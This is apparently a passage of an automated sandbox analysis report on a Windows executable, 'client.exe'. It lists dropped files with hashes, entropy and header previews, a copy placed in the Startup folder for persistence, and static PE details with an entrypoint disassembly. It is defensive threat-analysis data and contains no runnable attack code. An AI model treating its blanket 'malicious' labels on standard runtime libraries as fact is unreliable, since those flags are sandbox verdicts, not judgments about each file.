Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......../...Nb}.Nb}.Nb}.6.}.Nb}g.c\|.Nb}g.a\|.Nb}g.f\|.Nb}g.g\|.Nb}..c\|.Nb}.Nc}.Nb}.6c\|.Nb}..o\|.Nb}..b\|.Nb}..}.Nb}..`\|.Nb}Rich.Nb}................PE..d....b.f.........." ...(.x..........0-.......................................`............`.........................................@...P............@.......0.........../...P......P...T...............................@............................................text....v.......x.................. ..`.rdata...x.......z...\|..............@..@.data...............................@....pdata.......0......................@..@.rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\_ssl.pyd

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	178456
Entropy (8bit):	5.975111032322451
Encrypted:	false
SSDEEP:
MD5:	90F080C53A2B7E23A5EFD5FD3806F352
SHA1:	E3B339533BC906688B4D885BDC29626FBB9DF2FE
SHA-256:	FA5E6FE9545F83704F78316E27446A0026FBEBB9C0C3C63FAED73A12D89784D4
SHA-512:	4B9B8899052C1E34675985088D39FE7C95BFD1BBCE6FD5CBAC8B1E61EDA2FBB253EEF21F8A5362EA624E8B1696F1E46C366835025AABCB7AA66C1E6709AAB58A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\|..j8.98.98.91.09>.9._.8:.9._.8;.9._.80.9._.85.9-X.8>.98.9..9s..8?.9-X.8:.9-X.89.9-X\99.9-X.89.9Rich8.9........................PE..d....b.f.........." ...(.............,....................................................`.............................................d...D...................P......../......x.......T...........................@...@............................................text............................... ..`.rdata...#.......$..................@..@.data...p...........................@....pdata..P............b..............@..@.rsrc................n..............@..@.reloc..x............x..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\_wmi.pyd

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	37656
Entropy (8bit):	6.340152202881265
Encrypted:	false
SSDEEP:
MD5:	827615EEE937880862E2F26548B91E83
SHA1:	186346B816A9DE1BA69E51042FAF36F47D768B6C
SHA-256:	73B7EE3156EF63D6EB7DF9900EF3D200A276DF61A70D08BD96F5906C39A3AC32
SHA-512:	45114CAF2B4A7678E6B1E64D84B118FB3437232B4C0ADD345DDB6FBDA87CEBD7B5ADAD11899BDCD95DDFE83FDC3944A93674CA3D1B5F643A2963FBE709E44FB8
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........k.L...L...L...E..J.......H.......H.......D...Y...N.......Q.......K...L...........M...Y...M...Y...M...Y...M...Y...M...RichL...........PE..d...db.f.........." ...(....<.......(...................................................`..........................................V..H...HV..................x....d.../......t...dG..T............................C..@............@.......S..@....................text...n(......................... ..`.rdata..4 ...@..."..................@..@.data........p.......P..............@....pdata..x............T..............@..@.rsrc................X..............@..@.reloc..t............b..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\bcrypt\_bcrypt.pyd

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	304128
Entropy (8bit):	6.435912222206497
Encrypted:	false
SSDEEP:
MD5:	829AC778D5A82A72FD5F83312D929A93
SHA1:	B42FC4B15C7F9AD2BB84A0CC07040701EA462A0F
SHA-256:	3D26EFEEDD40E9CB67D66803B235F56D38A5932D1D82B86CAE4EDACE5385D27A
SHA-512:	D76F474EBC9BB9E84AAA989B40CF9783469757B535424DB3913FB4BB1C39014E4B17F0067232DCEFD9A5429DD0D4AE9EC15DBCE99CB2FBF285F745739F32D22B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........?..Q..Q..Q......Q.''P..Q.''R..Q.''U..Q.''T..Q.%P..Q..P..Q..P.d.Q..Q.Q.. Q..Q.. S..Q.Rich.Q.................PE..d.....f.........." ...(.$...~............................................................`..........................................w..T....w...................'..............4.......T.......................(...P...@............@...............................text....#.......$.................. ..`.rdata...F...@...H...(..............@..@.data...0............p..............@....pdata...'.......(...t..............@..@.reloc..4...........................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\certifi\cacert.pem

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299427
Entropy (8bit):	6.047872935262006
Encrypted:	false
SSDEEP:
MD5:	50EA156B773E8803F6C1FE712F746CBA
SHA1:	2C68212E96605210EDDF740291862BDF59398AEF
SHA-256:	94EDEB66E91774FCAE93A05650914E29096259A5C7E871A1F65D461AB5201B47
SHA-512:	01ED2E7177A99E6CB3FBEF815321B6FA036AD14A3F93499F2CB5B0DAE5B713FD2E6955AA05F6BDA11D80E9E0275040005E5B7D616959B28EFC62ABB43A3238F0
Malicious:	false
Preview:	.# Issuer: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Subject: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Label: "GlobalSign Root CA".# Serial: 4835703278459707669005204.# MD5 Fingerprint: 3e:45:52:15:09:51:92:e1:b7:5d:37:9f:b1:87:29:8a.# SHA1 Fingerprint: b1:bc:96:8b:d4:f4:9d:62:2a:a8:9a:81:f2:15:01:52:a4:1d:82:9c.# SHA256 Fingerprint: eb:d4:10:40:e4:bb:3e:c7:42:c9:e3:81:d3:1e:f2:a4:1a:48:b6:68:5c:96:e7:ce:f3:c1:df:6c:d4:33:1c:99.-----BEGIN CERTIFICATE-----.MIIDdTCCAl2gAwIBAgILBAAAAAABFUtaw5QwDQYJKoZIhvcNAQEFBQAwVzELMAkG.A1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jv.b3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gUm9vdCBDQTAeFw05ODA5MDExMjAw.MDBaFw0yODAxMjgxMjAwMDBaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9i.YWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxT.aWduIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZ.jc6j40+Kfvvxi4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavp.xy0Sy6scTHAHoT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz

C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\charset_normalizer\md.pyd

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	10752
Entropy (8bit):	4.674392865869017
Encrypted:	false
SSDEEP:
MD5:	D9E0217A89D9B9D1D778F7E197E0C191
SHA1:	EC692661FCC0B89E0C3BDE1773A6168D285B4F0D
SHA-256:	ECF12E2C0A00C0ED4E2343EA956D78EED55E5A36BA49773633B2DFE7B04335C0
SHA-512:	3B788AC88C1F2D682C1721C61D223A529697C7E43280686B914467B3B39E7D6DEBAFF4C0E2F42E9DDDB28B522F37CB5A3011E91C66D911609C63509F9228133D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B..............................M....................................... ...?.......?.......?.a.....?.......Rich............................PE..d....jAe.........." ...%.....................................................p............`..........................................'..p...`(..d....P.......@...............`..,...`#.............................. "..@............ ...............................text............................... ..`.rdata....... ......................@..@.data...8....0......."..............@....pdata.......@.......$..............@..@.rsrc........P.......&..............@..@.reloc..,....`.......(..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\charset_normalizer\md__mypyc.pyd

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	122880
Entropy (8bit):	5.917175475547778
Encrypted:	false
SSDEEP:
MD5:	BF9A9DA1CF3C98346002648C3EAE6DCF
SHA1:	DB16C09FDC1722631A7A9C465BFE173D94EB5D8B
SHA-256:	4107B1D6F11D842074A9F21323290BBE97E8EED4AA778FBC348EE09CC4FA4637
SHA-512:	7371407D12E632FC8FB031393838D36E6A1FE1E978CED36FF750D84E183CDE6DD20F75074F4597742C9F8D6F87AF12794C589D596A81B920C6C62EE2BA2E5654
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..r...r...r......r...s...r...s...r...w...r...v..r...q...r.#.s...r...s...r..8z...r..8r...r..8....r..8p...r.Rich..r.........................PE..d....jAe.........." ...%.:...........<.......................................0............`.........................................@...d.......................(............ ......P...................................@............P...............................text....8.......:.................. ..`.rdata...W...P...X...>..............@..@.data...8=.......0..................@....pdata..(...........................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	17782784
Entropy (8bit):	6.339667356522568
Encrypted:	false
SSDEEP:
MD5:	B5712CB60C06909B9B4479AADD03FF9E
SHA1:	4731D7891F8A1A272BAA619C82F3D6ACB3C97C0A
SHA-256:	029E82658B74CBC207A33F816770A3F21563DE5A318FB27B25B150191FFC710D
SHA-512:	141E3BDA5E8592163D1492122AA1177D3889D18E4FBB8241892D45485C4EEB1578BA8B899C680D67D5FF6DE387F2AB2168485C6C7B23E382B16C79214A0663BC
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........9..W\.W\.W\..T].W\..R]w.W\..S].W\.W\.W\.'.\.W\.'R].W\.'S].W\.'T].W\."V].W\..V].W\.V\n.W\.'S]s.W\.'U].W\Rich.W\................PE..d.....Sg.........."....&......n................@..........................................`.................................................D4..<.......<.j..0..XO..............l...0...................................@...............`............................text............................... ..`.rdata..............................@..@.data...X....`.......R..............@....pdata..XO...0...P.................@..@_RDATA...............&..............@..@.rsrc...<.j.......j..(..............@..@.reloc..l............F..............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\cryptography\hazmat\bindings\_rust.pyd

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7900672
Entropy (8bit):	6.519460416205842
Encrypted:	false
SSDEEP:
MD5:	81AD4F91BB10900E3E2E8EAF917F42C9
SHA1:	840F7AEF02CDA6672F0E3FC7A8D57F213DDD1DC6
SHA-256:	5F20D6CEC04685075781996A9F54A78DC44AB8E39EB5A2BCF3234E36BEF4B190
SHA-512:	11CD299D6812CDF6F0A74BA86EB44E9904CE4106167EBD6E0B81F60A5FCD04236CEF5CFF81E51ED391F5156430663056393DC07353C4A70A88024194768FFE9D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......l..(...(...(...!...:...8......8...,...8... ...8...9...c..&...G......(...+...`...V...(.....`...)...`...)...Rich(...........................PE..d....j.f.........." ...).`Z..V........X.......................................x...........`.........................................p.r.......r...............t...............x......Cj.T....................Cj.(....Aj.@............pZ..............................text...._Z......`Z................. ..`.rdata..ZR...pZ..T...dZ.............@..@.data....+....r.......r.............@....pdata........t.......s.............@..@.reloc........x.......w.............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\libcrypto-3.dll

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5232408
Entropy (8bit):	5.940072183736028
Encrypted:	false
SSDEEP:
MD5:	123AD0908C76CCBA4789C084F7A6B8D0
SHA1:	86DE58289C8200ED8C1FC51D5F00E38E32C1AAD5
SHA-256:	4E5D5D20D6D31E72AB341C81E97B89E514326C4C861B48638243BDF0918CFA43
SHA-512:	80FAE0533BA9A2F5FA7806E86F0DB8B6AAB32620DDE33B70A3596938B529F3822856DE75BDDB1B06721F8556EC139D784BC0BB9C8DA0D391DF2C20A80D33CB04
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........._~.._~.._~..V.S.M~.....]~.....[~.....W~.....S~.._~...~......T~..J....~..J...7}..J...^~..J.?.^~..J...^~..Rich_~..........................PE..d......f.........." ...(..7..<......v........................................0P.......O...`...........................................H.0.....O.@....@O.\|.... L. .....O../...PO.$...`{D.8............................yD.@.............O..............................text.....7.......7................. ..`.rdata........7.......7.............@..@.data...Ao....K..<....K.............@....pdata....... L.......K.............@..@.idata...%....O..&....N.............@..@.00cfg..u....0O.......N.............@..@.rsrc...\|....@O.......N.............@..@.reloc..~....PO.......N.............@..B................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\libssl-3.dll

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	792856
Entropy (8bit):	5.57949182561317
Encrypted:	false
SSDEEP:
MD5:	4FF168AAA6A1D68E7957175C8513F3A2
SHA1:	782F886709FEBC8C7CEBCEC4D92C66C4D5DBCF57
SHA-256:	2E4D35B681A172D3298CAF7DC670451BE7A8BA27C26446EFC67470742497A950
SHA-512:	C372B759B8C7817F2CBB78ECCC5A42FA80BDD8D549965BD925A97C3EEBDCE0335FBFEC3995430064DEAD0F4DB68EBB0134EB686A0BE195630C49F84B468113E3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l.>..\|m..\|m..\|m.u.m..\|m+.}l..\|m.u}l..\|m+..l..\|m+.xl..\|m+.yl..\|m..}l..\|m..}m..\|m..xl..\|m..\|l..\|m...m..\|m..~l..\|mRich..\|m................PE..d......f.........." ...(.>..........K........................................0......!+....`..........................................x...Q..............s.... ...M......./......d...p...8...............................@............................................text....<.......>.................. ..`.rdata..hz...P...\|...B..............@..@.data...qN.......H..................@....pdata..pV... ...X..................@..@.idata...c.......d...^..............@..@.00cfg..u...........................@..@.rsrc...s...........................@..@.reloc..C...........................@..B........................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\python3.dll

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	68376
Entropy (8bit):	6.147701397143669
Encrypted:	false
SSDEEP:
MD5:	5EACE36402143B0205635818363D8E57
SHA1:	AE7B03251A0BAC083DEC3B1802B5CA9C10132B4C
SHA-256:	25A39E721C26E53BEC292395D093211BBA70465280ACFA2059FA52957EC975B2
SHA-512:	7CB3619EA46FBAAF45ABFA3D6F29E7A5522777980E0A9D2DA021D6C68BCC380ABE38E8004E1F31D817371FB3CDD5425D4BB115CB2DC0D40D59D111A2D98B21D4
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........5...Te..Te..Te...m..Te...e..Te.....Te...g..Te.Rich.Te.................PE..d...Ab.f.........." ...(.............................................................F....`.........................................`...H................................/..............T............................................................................rdata..............................@..@.rsrc...............................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\python312.dll

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6927640
Entropy (8bit):	5.765552513907485
Encrypted:	false
SSDEEP:
MD5:	166CC2F997CBA5FC011820E6B46E8EA7
SHA1:	D6179213AFEA084F02566EA190202C752286CA1F
SHA-256:	C045B57348C21F5F810BAE60654AE39490846B487378E917595F1F95438F9546
SHA-512:	49D9D4DF3D7EF5737E947A56E48505A2212E05FDBCD7B83D689639728639B7FD3BE39506D7CFCB7563576EBEE879FD305370FDB203909ED9B522B894DD87AACB
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........D..Z%..Z%..Z%......X%....e.T%......^%......R%......W%..S]..@%...]..Q%..Z%..$..O....%..O...[%..O.g.[%..O...[%..RichZ%..........PE..d...=b.f.........." ...(..(..4B..... .........................................j......[j...`..........................................cN.d...$1O.......i......._.xI....i../... i.([....2.T.....................H.(...p.2.@............ (..............................text.....(.......(................. ..`.rdata...6'.. (..8'...(.............@..@.data....I...`O......HO.............@....pdata..xI...._..J....^.............@..@PyRuntim0.....b.......a.............@....rsrc.........i...... h.............@..@.reloc..([... i..\...h.............@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\select.pyd

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	31000
Entropy (8bit):	6.556986708902353
Encrypted:	false
SSDEEP:
MD5:	7C14C7BC02E47D5C8158383CB7E14124
SHA1:	5EE9E5968E7B5CE9E4C53A303DAC9FC8FAF98DF3
SHA-256:	00BD8BB6DEC8C291EC14C8DDFB2209D85F96DB02C7A3C39903803384FF3A65E5
SHA-512:	AF70CBDD882B923013CB47545633B1147CE45C547B8202D7555043CFA77C1DEEE8A51A2BC5F93DB4E3B9CBF7818F625CA8E3B367BFFC534E26D35F475351A77C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........t..'..'..'..g'..'-..&..'-..&..'-..&..'-..&..'...&..'..'...'...&..'...&..'...&..'...'..'...&..'Rich..'................PE..d...`b.f.........." ...(.....2.......................................................o....`..........................................@..L...<A..x....p.......`.......J.../......L....3..T............................2..@............0...............................text............................... ..`.rdata.......0......................@..@.data...`....P.......8..............@....pdata.......`.......:..............@..@.rsrc........p.......>..............@..@.reloc..L............H..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\unicodedata.pyd

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1138456
Entropy (8bit):	5.4620027688967845
Encrypted:	false
SSDEEP:
MD5:	A8ED52A66731E78B89D3C6C6889C485D
SHA1:	781E5275695ACE4A5C3AD4F2874B5E375B521638
SHA-256:	BF669344D1B1C607D10304BE47D2A2FB572E043109181E2C5C1038485AF0C3D7
SHA-512:	1C131911F120A4287EBF596C52DE047309E3BE6D99BC18555BD309A27E057CC895A018376AA134DF1DC13569F47C97C1A6E8872ACEDFA06930BBF2B175AF9017
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#.}.#.}.#.}...%.}..\|.!.}..~. .}..y.+.}..x...}.6-\|. .}.h.\|.!.}.#.\|.s.}.6-p.".}.6-}.".}.6-..".}.6-..".}.Rich#.}.........PE..d...`b.f.........." ...(.@..........0.......................................p.......)....`.........................................p...X............P.......@.......0.../...`......P^..T............................]..@............P..p............................text...!>.......@.................. ..`.rdata..\....P.......D..............@..@.data........ ......................@....pdata.......@......................@..@.rsrc........P.......$..............@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	119192
Entropy (8bit):	6.6016214745004635
Encrypted:	false
SSDEEP:
MD5:	BE8DBE2DC77EBE7F88F910C61AEC691A
SHA1:	A19F08BB2B1C1DE5BB61DAF9F2304531321E0E40
SHA-256:	4D292623516F65C80482081E62D5DADB759DC16E851DE5DB24C3CBB57B87DB83
SHA-512:	0DA644472B374F1DA449A06623983D0477405B5229E386ACCADB154B43B8B083EE89F07C3F04D2C0C7501EAD99AD95AECAA5873FF34C5EEB833285B598D5A655
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........N.../c../c../c._]b./c..W.../c../b./c../c../c...`./c...g./c...f./c...c./c....../c...a./c.Rich./c.........................PE..d.....cW.........." ...&. ...d......................................................-.....`A.........................................e..4...4m...........................O...........N..p............................L..@............0...............................text...&........................... ..`fothk........ ...................... ..`.rdata..\C...0...D...$..............@..@.data...p............h..............@....pdata...............l..............@..@_RDATA...............x..............@..@.rsrc................z..............@..@.reloc...............~..............@..B................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\vcruntime140_1.dll

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	49528
Entropy (8bit):	6.662491747506177
Encrypted:	false
SSDEEP:
MD5:	F8DFA78045620CF8A732E67D1B1EB53D
SHA1:	FF9A604D8C99405BFDBBF4295825D3FCBC792704
SHA-256:	A113F192195F245F17389E6ECBED8005990BCB2476DDAD33F7C4C6C86327AFE5
SHA-512:	BA7F8B7AB0DEB7A7113124C28092B543E216CA08D1CF158D9F40A326FB69F4A2511A41A59EA8482A10C9EC4EC8AC69B70DFE9CA65E525097D93B819D498DA371
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9@.W}!..}!..}!...S...!..{....!..tYJ.v!..}!..N!..{...x!..{...z!..{...f!..{...\|!..{.&.\|!..{...\|!..Rich}!..................PE..d.....v..........." ...&.<...8.......B...................................................`A........................................Pm.......m..x....................r..xO......D....c..p...........................`b..@............P..`............................text...p:.......<.................. ..`.rdata...#...P...$...@..............@..@.data................d..............@....pdata...............f..............@..@.rsrc................l..............@..@.reloc..D............p..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\zstandard\_cffi.pyd

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	650752
Entropy (8bit):	6.4079170700952455
Encrypted:	false
SSDEEP:
MD5:	AFA2B9E9C7153750794ACFDF4BD0E416
SHA1:	19C521D35DCF6BC1546E11ECE12904043BE16FDB
SHA-256:	14DB1D573F7BA8F41563BBC7CDA6F1A46E5F86C1B7096D298593971A0B1C6C60
SHA-512:	38E2EC7F45C6AC7CBC0D5AB7CA94DDF47FC72067507D699FA32F42AA8A4187579724645E45042929140C832C83457011EF83914E397D6F8713A6E018B2823C6B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F...........1....r....I......r.....r.....r.....u......J..u.....u.....u]....u....Rich..........PE..d...j'.f.........." ...(.....\......P........................................0............`.........................................0...\........................3........... .......d..............................Pc..@...............@............................text...x........................... ..`.rdata..b...........................@..@.data...............................@....pdata...3.......4..................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\zstandard\backend_c.pyd

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	520192
Entropy (8bit):	6.408474728658084
Encrypted:	false
SSDEEP:
MD5:	0FC69D380FADBD787403E03A1539A24A
SHA1:	77F067F6D50F1EC97DFED6FAE31A9B801632EF17
SHA-256:	641E0B0FA75764812FFF544C174F7C4838B57F6272EAAE246EB7C483A0A35AFC
SHA-512:	E63E200BAF817717BDCDE53AD664296A448123FFD055D477050B8C7EFCAB8E4403D525EA3C8181A609C00313F7B390EDBB754F0A9278232ADE7CFB685270AAF0
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................k...........k.....k.....k.....l......T..l.....l.....ln....l....Rich..................PE..d...d'.f.........." ...(............ ........................................0............`......................................... ...d........................)........... ..d...0\...............................Z..@...............(............................text...H........................... ..`.rdata.............................@..@.data....-.......(..................@....pdata...).......*..................@..@.rsrc...............................@..@.reloc..d.... ......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	57821696
Entropy (8bit):	7.998642364313516
Encrypted:	true
SSDEEP:
MD5:	8E8D4E8C939EBAF71FB1A593B92ED618
SHA1:	44304FE6746112AA18D3430AE3105066FA5AA2BD
SHA-256:	3CA2A34D08C04AE1A3D356BCE5291D4EFE2E684036AFFB2962F29377E3C8791F
SHA-512:	BFC33BDD79EE6782ABD113B75706776955B99D2ECCB2B0BC74F4BA06C74D68237E2F0FC10BC329F523EE399F6DCA41FA8D3D4ABEDDA231740F7AD149A8ED6D8F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........jO..jO..jO..!7..lO..!7...O..!7..`O..jO..kO..l...hO..l...BO..l...zO..l...{O..!7..oO..jO...O......kO......kO..RichjO..................PE..d.....Sg.........."....&.....@p................@..............................t...........`.....................................................<....p...Co..@..T.............t.....`............................... ...@............ ...............................text...P........................... ..`.rdata....... ......................@..@.data...pN..........................@....pdata..T....@......................@..@_RDATA.......`......................@..@.rsrc....Co..p...Do.................@..@.reloc........t......Br.............@..B................................................................................................................................................................................................

C:\Users\user\Desktop\latest.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	57821696
Entropy (8bit):	7.998642364313516
Encrypted:	true
SSDEEP:
MD5:	8E8D4E8C939EBAF71FB1A593B92ED618
SHA1:	44304FE6746112AA18D3430AE3105066FA5AA2BD
SHA-256:	3CA2A34D08C04AE1A3D356BCE5291D4EFE2E684036AFFB2962F29377E3C8791F
SHA-512:	BFC33BDD79EE6782ABD113B75706776955B99D2ECCB2B0BC74F4BA06C74D68237E2F0FC10BC329F523EE399F6DCA41FA8D3D4ABEDDA231740F7AD149A8ED6D8F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........jO..jO..jO..!7..lO..!7...O..!7..`O..jO..kO..l...hO..l...BO..l...zO..l...{O..!7..oO..jO...O......kO......kO..RichjO..................PE..d.....Sg.........."....&.....@p................@..............................t...........`.....................................................<....p...Co..@..T.............t.....`............................... ...@............ ...............................text...P........................... ..`.rdata....... ......................@..@.data...pN..........................@....pdata..T....@......................@..@_RDATA.......`......................@..@.rsrc....Co..p...Do.................@..@.reloc........t......Br.............@..B................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (console) x86-64, for MS Windows
Entropy (8bit):	7.995703977109334
TrID:	Win64 Executable Console (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	client.exe
File size:	11'687'936 bytes
MD5:	0367368930008d4a8a1e61dd36397276
SHA1:	eb322ba080daefc2c584fe0a5a313b09b0f410dd
SHA256:	510907f8ba688b4b58895856b9d3e920d671c4d9713188ab098cae2397ea5929
SHA512:	8a8c26f43afe8d89cbf0d2cd272c762cc10b4cdfeb34aaf3ccaf41eeb4e658e00b336adaaf4c7a2ba2a72708e510e9b6d52068ce6382e1ed54ef2d4661d9c9ce
SSDEEP:	196608:JJbogDVZ0St/251RWFCVozr+aAD9xAy6k3/buHfmWR3B8gOPMFzWpJAZl6KPc:TPDYSt/251RXGvssy53Klxn7JWnAz6KP
TLSH:	6CC6336EB0D010FAF2B763BAD98156207536BC084732975F57A4B6AA5D232C40D3EB73
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........jO..jO..jO..!7..lO..!7...O..!7..`O..jO..kO..l...hO..l...BO..l...zO..l...{O..!7..oO..jO...O......kO......kO..RichjO.........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x14000be9c
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x67531710 [Fri Dec 6 15:24:00 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	8e3dad4d4ea6736338bcc4aca7b446c9

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FF014B363C0h
dec eax
add esp, 28h
jmp 00007FF014B35FE7h
int3
int3
dec eax
sub esp, 28h
call 00007FF014B36900h
test eax, eax
je 00007FF014B36193h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ecx, dword ptr [eax+08h]
jmp 00007FF014B36177h
dec eax
cmp ecx, eax
je 00007FF014B36186h
xor eax, eax
dec eax
cmpxchg dword ptr [0002419Ch], ecx
jne 00007FF014B36160h
xor al, al
dec eax
add esp, 28h
ret
mov al, 01h
jmp 00007FF014B36169h
int3
int3
int3
dec eax
sub esp, 28h
test ecx, ecx
